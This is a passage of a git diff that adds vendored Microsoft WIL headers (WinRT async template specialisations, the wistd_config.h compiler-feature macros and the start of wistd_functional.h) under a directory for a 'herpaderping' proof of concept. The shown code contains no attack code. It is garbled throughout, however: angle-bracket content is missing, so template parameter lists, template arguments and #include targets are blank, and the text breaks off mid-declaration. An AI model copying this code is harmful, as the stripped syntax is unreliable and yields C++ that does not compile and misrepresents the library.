ABI::Windows::Foundation::IAsyncOperationWithProgress_impl*, P> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgress*,P>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperation*> : + ABI::Windows::Foundation::IAsyncOperation_impl*> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperation*>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgress*, Z> : + ABI::Windows::Foundation::IAsyncOperationWithProgress_impl*, Z> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgress*,Z>"; + } +}; + +template <> +struct ABI::Windows::Foundation::IAsyncOperationCompletedHandler : + ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationCompletedHandler"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler : + ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgressCompletedHandler"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationCompletedHandler*> : + ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl*> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationCompletedHandler*>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler*, P> : + ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl*, P> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgressCompletedHandler*,P>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationCompletedHandler*> : + ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl*> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationCompletedHandler*>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler*, Z> : + ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl*, Z> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgressCompletedHandler*,Z>"; + } +}; +#endif // NTDDI_VERSION >= NTDDI_WINBLUE + +#if !defined(MIDL_NS_PREFIX) && !defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__) +// Internal .idl files use the namespace without the ABI prefix. Macro out ABI for that case +#pragma pop_macro("ABI") +#endif + +#if __WI_HAS_STD_LESS + +namespace std +{ + //! Specialization of `std::less` for `Microsoft::WRL::Wrappers::HString` that uses `hstring_less` for the + //! comparison function object. + template <> + struct less : + public wil::hstring_less + { + }; + + //! Specialization of `std::less` for `wil::unique_hstring` that uses `hstring_less` for the comparison function + //! object. + template <> + struct less : + public wil::hstring_less + { + }; +} + +#endif + +#endif // __WIL_WINRT_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_config.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_config.h new file mode 100644 index 00000000..96ac40a0 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_config.h @@ -0,0 +1,548 @@ +// -*- C++ -*- +//===--------------------------- __config ---------------------------------===// +// +// The LLVM Compiler Infrastructure +// +// This file is dual licensed under the MIT and the University of Illinois Open +// Source Licenses. See LICENSE.TXT for details. +// +//===----------------------------------------------------------------------===// + +// STL common functionality +// +// Some aspects of STL are core language concepts that should be used from all C++ code, regardless +// of whether exceptions are enabled in the component. Common library code that expects to be used +// from exception-free components want these concepts, but including STL headers directly introduces +// friction as it requires components not using STL to declare their STL version. Doing so creates +// ambiguity around whether STL use is safe in a particular component and implicitly brings in +// a long list of headers (including ) which can create further ambiguity around throwing new +// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has +// the potential to create naming conflicts or other implied dependencies. +// +// To promote the use of these core language concepts outside of STL-based binaries, this file is +// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding +// "std::" namespace STL functions and types should be preferred over these in code that is bound to +// STL. The implementation and naming of all functions are taken directly from STL, instead using +// "wistd" (Windows Implementation std) as the namespace. +// +// Routines in this namespace should always be considered a reflection of the *current* STL implementation +// of those routines. Updates from STL should be taken, but no "bugs" should be fixed here. +// +// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation. +// Only code that is not exception-based and libraries that expect to be utilized across both exception +// and non-exception based code should utilize this functionality. + +// This header mimics libc++'s '__config' header to the extent necessary to get the wistd::* definitions compiling. Note +// that this has a few key differences since libc++'s MSVC compatability is currently not functional and a bit behind + +#ifndef _WISTD_CONFIG_H_ +#define _WISTD_CONFIG_H_ + +// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage +#include // For size_t and other necessary types + +/// @cond +#if defined(_MSC_VER) && !defined(__clang__) +# if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER) +# define __WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER +# endif +#endif + +#ifndef __WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER +#pragma GCC system_header +#endif + +#ifdef __GNUC__ +# define __WI_GNUC_VER (__GNUC__ * 100 + __GNUC_MINOR__) +// The __WI_GNUC_VER_NEW macro better represents the new GCC versioning scheme +// introduced in GCC 5.0. +# define __WI_GNUC_VER_NEW (__WI_GNUC_VER * 10 + __GNUC_PATCHLEVEL__) +#else +# define __WI_GNUC_VER 0 +# define __WI_GNUC_VER_NEW 0 +#endif + +// _MSVC_LANG is the more accurate way to get the C++ version in MSVC +#if defined(_MSVC_LANG) && (_MSVC_LANG > __cplusplus) +#define __WI_CPLUSPLUS _MSVC_LANG +#else +#define __WI_CPLUSPLUS __cplusplus +#endif + +#ifndef __WI_LIBCPP_STD_VER +# if __WI_CPLUSPLUS <= 201103L +# define __WI_LIBCPP_STD_VER 11 +# elif __WI_CPLUSPLUS <= 201402L +# define __WI_LIBCPP_STD_VER 14 +# elif __WI_CPLUSPLUS <= 201703L +# define __WI_LIBCPP_STD_VER 17 +# else +# define __WI_LIBCPP_STD_VER 18 // current year, or date of c++2a ratification +# endif +#endif // __WI_LIBCPP_STD_VER + +#if __WI_CPLUSPLUS < 201103L +#define __WI_LIBCPP_CXX03_LANG +#endif + +#if defined(__ELF__) +# define __WI_LIBCPP_OBJECT_FORMAT_ELF 1 +#elif defined(__MACH__) +# define __WI_LIBCPP_OBJECT_FORMAT_MACHO 1 +#elif defined(_WIN32) +# define __WI_LIBCPP_OBJECT_FORMAT_COFF 1 +#elif defined(__wasm__) +# define __WI_LIBCPP_OBJECT_FORMAT_WASM 1 +#else +# error Unknown object file format +#endif + +#if defined(__clang__) +# define __WI_LIBCPP_COMPILER_CLANG +#elif defined(__GNUC__) +# define __WI_LIBCPP_COMPILER_GCC +#elif defined(_MSC_VER) +# define __WI_LIBCPP_COMPILER_MSVC +#elif defined(__IBMCPP__) +# define __WI_LIBCPP_COMPILER_IBM +#endif + +// NOTE: MSVC, which is what we primarily target, is severly underrepresented in libc++ and checks such as +// __has_feature(...) are always false for MSVC, even when the feature being tested _is_ present in MSVC. Therefore, we +// instead modify all checks to be __WI_HAS_FEATURE_IS_UNION, etc., which provides the correct value for MSVC and falls +// back to the __has_feature(...), etc. value otherwise. We intentionally leave '__has_feature', etc. undefined for MSVC +// so that we don't accidentally use the incorrect behavior +#ifndef __WI_LIBCPP_COMPILER_MSVC + +#ifndef __has_feature +#define __has_feature(__x) 0 +#endif + +// '__is_identifier' returns '0' if '__x' is a reserved identifier provided by +// the compiler and '1' otherwise. +#ifndef __is_identifier +#define __is_identifier(__x) 1 +#endif + +#ifndef __has_cpp_attribute +#define __has_cpp_attribute(__x) 0 +#endif + +#ifndef __has_attribute +#define __has_attribute(__x) 0 +#endif + +#ifndef __has_builtin +#define __has_builtin(__x) 0 +#endif + +#if __has_feature(cxx_alignas) +# define __WI_ALIGNAS_TYPE(x) alignas(x) +# define __WI_ALIGNAS(x) alignas(x) +#else +# define __WI_ALIGNAS_TYPE(x) __attribute__((__aligned__(__alignof(x)))) +# define __WI_ALIGNAS(x) __attribute__((__aligned__(x))) +#endif + +#if __has_feature(cxx_explicit_conversions) || defined(__IBMCPP__) || \ + (!defined(__WI_LIBCPP_CXX03_LANG) && defined(__GNUC__)) // All supported GCC versions +# define __WI_LIBCPP_EXPLICIT explicit +#else +# define __WI_LIBCPP_EXPLICIT +#endif + +#if __has_feature(cxx_attributes) +# define __WI_LIBCPP_NORETURN [[noreturn]] +#else +# define __WI_LIBCPP_NORETURN __attribute__ ((noreturn)) +#endif + +#define __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS +#define __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS + +// The __WI_LIBCPP_NODISCARD_ATTRIBUTE should only be used to define other +// NODISCARD macros to the correct attribute. +#if __has_cpp_attribute(nodiscard) +# define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[nodiscard]] +#elif defined(__WI_LIBCPP_COMPILER_CLANG) && !defined(__WI_LIBCPP_CXX03_LANG) +# define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[clang::warn_unused_result]] +#else +// We can't use GCC's [[gnu::warn_unused_result]] and +// __attribute__((warn_unused_result)), because GCC does not silence them via +// (void) cast. +# define __WI_LIBCPP_NODISCARD_ATTRIBUTE +#endif + +#define __WI_HAS_FEATURE_IS_UNION __has_feature(is_union) +#define __WI_HAS_FEATURE_IS_CLASS __has_feature(is_class) +#define __WI_HAS_FEATURE_IS_ENUM __has_feature(is_enum) +#define __WI_HAS_FEATURE_IS_CONVERTIBLE_TO __has_feature(is_convertible_to) +#define __WI_HAS_FEATURE_IS_EMPTY __has_feature(is_empty) +#define __WI_HAS_FEATURE_IS_POLYMORPHIC __has_feature(is_polymorphic) +#define __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR __has_feature(has_virtual_destructor) +#define __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS __has_feature(cxx_reference_qualified_functions) +#define __WI_HAS_FEATURE_IS_CONSTRUCTIBLE __has_feature(is_constructible) +#define __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE __has_feature(is_trivially_constructible) +#define __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE __has_feature(is_trivially_assignable) +#define __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR __has_feature(has_trivial_destructor) +#define __WI_HAS_FEATURE_NOEXCEPT __has_feature(cxx_noexcept) +#define __WI_HAS_FEATURE_IS_POD __has_feature(is_pod) +#define __WI_HAS_FEATURE_IS_STANDARD_LAYOUT __has_feature(is_standard_layout) +#define __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE __has_feature(is_trivially_copyable) +#define __WI_HAS_FEATURE_IS_TRIVIAL __has_feature(is_trivial) +#define __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR __has_feature(has_trivial_constructor) || (__WI_GNUC_VER >= 403) +#define __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR __has_feature(has_nothrow_constructor) || (__WI_GNUC_VER >= 403) +#define __WI_HAS_FEATURE_HAS_NOTHROW_COPY __has_feature(has_nothrow_copy) || (__WI_GNUC_VER >= 403) +#define __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN __has_feature(has_nothrow_assign) || (__WI_GNUC_VER >= 403) + +#if !(__has_feature(cxx_noexcept)) +#define __WI_LIBCPP_HAS_NO_NOEXCEPT +#endif + +#if !__is_identifier(__has_unique_object_representations) || __WI_GNUC_VER >= 700 +#define __WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS +#endif + +#if !(__has_feature(cxx_variadic_templates)) +#define __WI_LIBCPP_HAS_NO_VARIADICS +#endif + +#if __has_feature(is_literal) || __WI_GNUC_VER >= 407 +#define __WI_LIBCPP_IS_LITERAL(T) __is_literal(T) +#endif + +#if __has_feature(underlying_type) || __WI_GNUC_VER >= 407 +#define __WI_LIBCPP_UNDERLYING_TYPE(T) __underlying_type(T) +#endif + +#if __has_feature(is_final) || __WI_GNUC_VER >= 407 +#define __WI_LIBCPP_HAS_IS_FINAL +#endif + +#if __has_feature(is_base_of) || defined(__GNUC__) && __WI_GNUC_VER >= 403 +#define __WI_LIBCPP_HAS_IS_BASE_OF +#endif + +#if __is_identifier(__is_aggregate) && (__WI_GNUC_VER_NEW < 7001) +#define __WI_LIBCPP_HAS_NO_IS_AGGREGATE +#endif + +#if !(__has_feature(cxx_rtti)) && !defined(__WI_LIBCPP_NO_RTTI) +#define __WI_LIBCPP_NO_RTTI +#endif + +#if !(__has_feature(cxx_variable_templates)) +#define __WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES +#endif + +#if !(__has_feature(cxx_relaxed_constexpr)) +#define __WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR +#endif + +#if !__has_builtin(__builtin_addressof) && _GNUC_VER < 700 +#define __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF +#endif + +#if __has_attribute(__no_sanitize__) && !defined(__WI_LIBCPP_COMPILER_GCC) +# define __WI_LIBCPP_NO_CFI __attribute__((__no_sanitize__("cfi"))) +#else +# define __WI_LIBCPP_NO_CFI +#endif + +#define __WI_LIBCPP_ALWAYS_INLINE __attribute__ ((__always_inline__)) + +#if __has_attribute(internal_linkage) +# define __WI_LIBCPP_INTERNAL_LINKAGE __attribute__ ((internal_linkage)) +#else +# define __WI_LIBCPP_INTERNAL_LINKAGE __WI_LIBCPP_ALWAYS_INLINE +#endif + +#else + +// NOTE: Much of the following assumes a decently recent version of MSVC. Past versions can be supported, but will need +// to be updated to contain the proper _MSC_VER check +#define __WI_ALIGNAS_TYPE(x) alignas(x) +#define __WI_ALIGNAS(x) alignas(x) +#define __alignof__ __alignof + +#define __WI_LIBCPP_EXPLICIT explicit +#define __WI_LIBCPP_NORETURN [[noreturn]] +#define __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS __pragma(warning(suppress:26495)) +#define __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS __pragma(warning(suppress:26439)) + + +#if __WI_LIBCPP_STD_VER > 14 +#define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[nodiscard]] +#else +#define __WI_LIBCPP_NODISCARD_ATTRIBUTE _Check_return_ +#endif + +#define __WI_HAS_FEATURE_IS_UNION 1 +#define __WI_HAS_FEATURE_IS_CLASS 1 +#define __WI_HAS_FEATURE_IS_ENUM 1 +#define __WI_HAS_FEATURE_IS_CONVERTIBLE_TO 1 +#define __WI_HAS_FEATURE_IS_EMPTY 1 +#define __WI_HAS_FEATURE_IS_POLYMORPHIC 1 +#define __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR 1 +#define __WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS 1 +#define __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS 1 +#define __WI_HAS_FEATURE_IS_CONSTRUCTIBLE 1 +#define __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE 1 +#define __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE 1 +#define __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR 1 +#define __WI_HAS_FEATURE_NOEXCEPT 1 +#define __WI_HAS_FEATURE_IS_POD 1 +#define __WI_HAS_FEATURE_IS_STANDARD_LAYOUT 1 +#define __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE 1 +#define __WI_HAS_FEATURE_IS_TRIVIAL 1 +#define __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR 1 +#define __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR 1 +#define __WI_HAS_FEATURE_HAS_NOTHROW_COPY 1 +#define __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN 1 +#define __WI_HAS_FEATURE_IS_DESTRUCTIBLE 1 + +#if !defined(_CPPRTTI) && !defined(__WI_LIBCPP_NO_RTTI) +#define __WI_LIBCPP_NO_RTTI +#endif + +#define __WI_LIBCPP_IS_LITERAL(T) __is_literal_type(T) +#define __WI_LIBCPP_UNDERLYING_TYPE(T) __underlying_type(T) +#define __WI_LIBCPP_HAS_IS_FINAL +#define __WI_LIBCPP_HAS_IS_BASE_OF + +#if __WI_LIBCPP_STD_VER < 14 +#define __WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES +#endif + +#define __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF +#define __WI_LIBCPP_NO_CFI + +#define __WI_LIBCPP_ALWAYS_INLINE __forceinline +#define __WI_LIBCPP_INTERNAL_LINKAGE + +#endif + +#ifndef _WIN32 + +#ifdef __LITTLE_ENDIAN__ +# if __LITTLE_ENDIAN__ +# define __WI_LIBCPP_LITTLE_ENDIAN +# endif // __LITTLE_ENDIAN__ +#endif // __LITTLE_ENDIAN__ + +#ifdef __BIG_ENDIAN__ +# if __BIG_ENDIAN__ +# define __WI_LIBCPP_BIG_ENDIAN +# endif // __BIG_ENDIAN__ +#endif // __BIG_ENDIAN__ + +#ifdef __BYTE_ORDER__ +# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ +# define __WI_LIBCPP_LITTLE_ENDIAN +# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ +# define __WI_LIBCPP_BIG_ENDIAN +# endif // __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ +#endif // __BYTE_ORDER__ + +#if !defined(__WI_LIBCPP_LITTLE_ENDIAN) && !defined(__WI_LIBCPP_BIG_ENDIAN) +# include +# if __BYTE_ORDER == __LITTLE_ENDIAN +# define __WI_LIBCPP_LITTLE_ENDIAN +# elif __BYTE_ORDER == __BIG_ENDIAN +# define __WI_LIBCPP_BIG_ENDIAN +# else // __BYTE_ORDER == __BIG_ENDIAN +# error unable to determine endian +# endif +#endif // !defined(__WI_LIBCPP_LITTLE_ENDIAN) && !defined(__WI_LIBCPP_BIG_ENDIAN) + +#else // _WIN32 + +#define __WI_LIBCPP_LITTLE_ENDIAN + +#endif // _WIN32 + +#ifdef __WI_LIBCPP_HAS_NO_CONSTEXPR +# define __WI_LIBCPP_CONSTEXPR +#else +# define __WI_LIBCPP_CONSTEXPR constexpr +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR) +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 constexpr +#else +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 +#endif + +#if __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR) +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX14 constexpr +#else +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX14 +#endif + +#if __WI_LIBCPP_STD_VER > 17 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR) +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX17 constexpr +#else +# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX17 +#endif + +#if !defined(__WI_LIBCPP_DISABLE_NODISCARD_AFTER_CXX17) && \ + (__WI_LIBCPP_STD_VER > 17 || defined(__WI_LIBCPP_ENABLE_NODISCARD)) +# define __WI_LIBCPP_NODISCARD_AFTER_CXX17 __WI_LIBCPP_NODISCARD_ATTRIBUTE +#else +# define __WI_LIBCPP_NODISCARD_AFTER_CXX17 +#endif + +#if __WI_LIBCPP_STD_VER > 14 && defined(__cpp_inline_variables) && (__cpp_inline_variables >= 201606L) +# define __WI_LIBCPP_INLINE_VAR inline +#else +# define __WI_LIBCPP_INLINE_VAR +#endif + +#ifdef __WI_LIBCPP_CXX03_LANG +#define __WI_LIBCPP_HAS_NO_UNICODE_CHARS +#define __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES +#endif + +#ifndef __SIZEOF_INT128__ +#define __WI_LIBCPP_HAS_NO_INT128 +#endif + +#if !__WI_HAS_FEATURE_NOEXCEPT && !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT) +#define __WI_LIBCPP_HAS_NO_NOEXCEPT +#endif + +#ifndef __WI_LIBCPP_HAS_NO_NOEXCEPT +# define WI_NOEXCEPT noexcept +# define __WI_NOEXCEPT_(x) noexcept(x) +#else +# define WI_NOEXCEPT throw() +# define __WI_NOEXCEPT_(x) +#endif + +#if defined(__WI_LIBCPP_OBJECT_FORMAT_COFF) +#define __WI_LIBCPP_HIDDEN +#define __WI_LIBCPP_TEMPLATE_VIS +#endif // defined(__WI_LIBCPP_OBJECT_FORMAT_COFF) + +#ifndef __WI_LIBCPP_HIDDEN +# if !defined(__WI_LIBCPP_DISABLE_VISIBILITY_ANNOTATIONS) +# define __WI_LIBCPP_HIDDEN __attribute__ ((__visibility__("hidden"))) +# else +# define __WI_LIBCPP_HIDDEN +# endif +#endif + +#ifndef __WI_LIBCPP_TEMPLATE_VIS +# if !defined(__WI_LIBCPP_DISABLE_VISIBILITY_ANNOTATIONS) && !defined(__WI_LIBCPP_COMPILER_MSVC) +# if __has_attribute(__type_visibility__) +# define __WI_LIBCPP_TEMPLATE_VIS __attribute__ ((__type_visibility__("default"))) +# else +# define __WI_LIBCPP_TEMPLATE_VIS __attribute__ ((__visibility__("default"))) +# endif +# else +# define __WI_LIBCPP_TEMPLATE_VIS +# endif +#endif + +#define __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_HIDDEN __WI_LIBCPP_INTERNAL_LINKAGE + +namespace wistd // ("Windows Implementation" std) +{ + typedef decltype(__nullptr) nullptr_t; + + template + struct __less + { + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;} + + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T1& __x, const _T2& __y) const {return __x < __y;} + + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T2& __x, const _T1& __y) const {return __x < __y;} + + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T2& __x, const _T2& __y) const {return __x < __y;} + }; + + template + struct __less<_T1, _T1> + { + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;} + }; + + template + struct __less + { + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;} + }; + + template + struct __less<_T1, const _T1> + { + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;} + }; + + // These are added to wistd to enable use of min/max without having to use the windows.h min/max + // macros that some clients might not have access to. Note: the STL versions of these have debug + // checking for the less than operator and support for iterators that these implementations lack. + // Use the STL versions when you require use of those features. + + // min + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + const _Tp& + (min)(const _Tp& __a, const _Tp& __b, _Compare __comp) + { + return __comp(__b, __a) ? __b : __a; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + const _Tp& + (min)(const _Tp& __a, const _Tp& __b) + { + return (min)(__a, __b, __less<_Tp>()); + } + + // max + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + const _Tp& + (max)(const _Tp& __a, const _Tp& __b, _Compare __comp) + { + return __comp(__a, __b) ? __b : __a; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 + const _Tp& + (max)(const _Tp& __a, const _Tp& __b) + { + return (max)(__a, __b, __less<_Tp>()); + } + + template + struct __WI_LIBCPP_TEMPLATE_VIS unary_function + { + typedef _Arg argument_type; + typedef _Result result_type; + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS binary_function + { + typedef _Arg1 first_argument_type; + typedef _Arg2 second_argument_type; + typedef _Result result_type; + }; +} +/// @endcond + +#endif _WISTD_CONFIG_H_ diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_functional.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_functional.h new file mode 100644 index 00000000..836f621e --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_functional.h @@ -0,0 +1,544 @@ +// -*- C++ -*- +//===------------------------ functional ----------------------------------===// +// +// The LLVM Compiler Infrastructure +// +// This file is dual licensed under the MIT and the University of Illinois Open +// Source Licenses. See LICENSE.TXT for details. +// +//===----------------------------------------------------------------------===// + +// STL common functionality +// +// Some aspects of STL are core language concepts that should be used from all C++ code, regardless +// of whether exceptions are enabled in the component. Common library code that expects to be used +// from exception-free components want these concepts, but including STL headers directly introduces +// friction as it requires components not using STL to declare their STL version. Doing so creates +// ambiguity around whether STL use is safe in a particular component and implicitly brings in +// a long list of headers (including ) which can create further ambiguity around throwing new +// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has +// the potential to create naming conflicts or other implied dependencies. +// +// To promote the use of these core language concepts outside of STL-based binaries, this file is +// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding +// "std::" namespace STL functions and types should be preferred over these in code that is bound to +// STL. The implementation and naming of all functions are taken directly from STL, instead using +// "wistd" (Windows Implementation std) as the namespace. +// +// Routines in this namespace should always be considered a reflection of the *current* STL implementation +// of those routines. Updates from STL should be taken, but no "bugs" should be fixed here. +// +// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation. +// Only code that is not exception-based and libraries that expect to be utilized across both exception +// and non-exception based code should utilize this functionality. + +#ifndef _WISTD_FUNCTIONAL_H_ +#define _WISTD_FUNCTIONAL_H_ + +// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage +#include "wistd_memory.h" +#include // For __fastfail +#include // For placement new + +#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER) +#pragma GCC system_header +#endif + +#pragma warning(push) +#pragma warning(disable: 4324) +#pragma warning(disable: 4800) + +/// @cond +namespace wistd // ("Windows Implementation" std) +{ + // wistd::function + // + // All of the code below is in direct support of wistd::function. This class is identical to std::function + // with the following exceptions: + // + // 1) It never allocates and is safe to use from exception-free code (custom allocators are not supported) + // 2) It's slightly bigger on the stack (64 bytes, rather than 24 for 32bit) + // 3) There is an explicit static-assert if a lambda becomes too large to hold in the internal buffer (rather than an allocation) + + template + struct __invoke_void_return_wrapper + { +#ifndef __WI_LIBCPP_CXX03_LANG + template + static _Ret __call(_Args&&... __args) { + return __invoke(wistd::forward<_Args>(__args)...); + } +#else + template + static _Ret __call(_Fn __f) { + return __invoke(__f); + } + + template + static _Ret __call(_Fn __f, _A0& __a0) { + return __invoke(__f, __a0); + } + + template + static _Ret __call(_Fn __f, _A0& __a0, _A1& __a1) { + return __invoke(__f, __a0, __a1); + } + + template + static _Ret __call(_Fn __f, _A0& __a0, _A1& __a1, _A2& __a2){ + return __invoke(__f, __a0, __a1, __a2); + } +#endif + }; + + template <> + struct __invoke_void_return_wrapper + { +#ifndef __WI_LIBCPP_CXX03_LANG + template + static void __call(_Args&&... __args) { + (void)__invoke(wistd::forward<_Args>(__args)...); + } +#else + template + static void __call(_Fn __f) { + __invoke(__f); + } + + template + static void __call(_Fn __f, _A0& __a0) { + __invoke(__f, __a0); + } + + template + static void __call(_Fn __f, _A0& __a0, _A1& __a1) { + __invoke(__f, __a0, __a1); + } + + template + static void __call(_Fn __f, _A0& __a0, _A1& __a1, _A2& __a2) { + __invoke(__f, __a0, __a1, __a2); + } +#endif + }; + + //////////////////////////////////////////////////////////////////////////////// + // FUNCTION + //============================================================================== + + // bad_function_call + + __WI_LIBCPP_NORETURN inline __WI_LIBCPP_INLINE_VISIBILITY + void __throw_bad_function_call() + { + __fastfail(7); // FAST_FAIL_FATAL_APP_EXIT + } + + template class __WI_LIBCPP_TEMPLATE_VIS function; // undefined + + namespace __function + { + + template + struct __maybe_derive_from_unary_function + { + }; + + template + struct __maybe_derive_from_unary_function<_Rp(_A1)> + : public unary_function<_A1, _Rp> + { + }; + + template + struct __maybe_derive_from_binary_function + { + }; + + template + struct __maybe_derive_from_binary_function<_Rp(_A1, _A2)> + : public binary_function<_A1, _A2, _Rp> + { + }; + + template + __WI_LIBCPP_INLINE_VISIBILITY + bool __not_null(_Fp const&) { return true; } + + template + __WI_LIBCPP_INLINE_VISIBILITY + bool __not_null(_Fp* __ptr) { return __ptr; } + + template + __WI_LIBCPP_INLINE_VISIBILITY + bool __not_null(_Ret _Class::*__ptr) { return __ptr; } + + template + __WI_LIBCPP_INLINE_VISIBILITY + bool __not_null(function<_Fp> const& __f) { return !!__f; } + + } // namespace __function + +#ifndef __WI_LIBCPP_CXX03_LANG + + namespace __function { + + template class __base; + + template + class __base<_Rp(_ArgTypes...)> + { + __base(const __base&); + __base& operator=(const __base&); + public: + __WI_LIBCPP_INLINE_VISIBILITY __base() {} + __WI_LIBCPP_INLINE_VISIBILITY virtual ~__base() {} + virtual void __clone(__base*) const = 0; + virtual void __move(__base*) = 0; + virtual void destroy() WI_NOEXCEPT = 0; + virtual _Rp operator()(_ArgTypes&& ...) = 0; + }; + + template class __func; + + template + class 